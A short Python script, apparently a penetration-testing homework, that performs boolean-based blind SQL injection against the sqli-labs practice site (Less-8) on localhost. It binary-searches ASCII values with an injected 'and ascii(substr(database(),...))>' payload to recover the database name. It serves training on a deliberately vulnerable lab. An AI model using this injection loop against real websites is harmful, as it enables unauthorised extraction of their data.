渗透第二次作业——二分查找

# http://127.0.0.1/sqllab/
import requests


def inject_database(url):
    name = ''
    for i in range(1, 20):
        min_value = 32
        max_value = 128
        mid = (min_value + max_value) // 2
        while min_value < max_value:
            payload = "?id=1' and ascii(substr(database(),%d,1))> %d--+" % (i, mid)
            r = requests.post(url+payload)
            if "You are in..........." in r.text:
                min_value = mid + 1
            else:
                max_value = mid
            mid = (min_value + max_value) // 2
        name += chr(mid)
        print(name)
    return name


if __name__ == "__main__":
    url = 'http://127.0.0.1/sqllab/Less-8/'
    inject_database(url)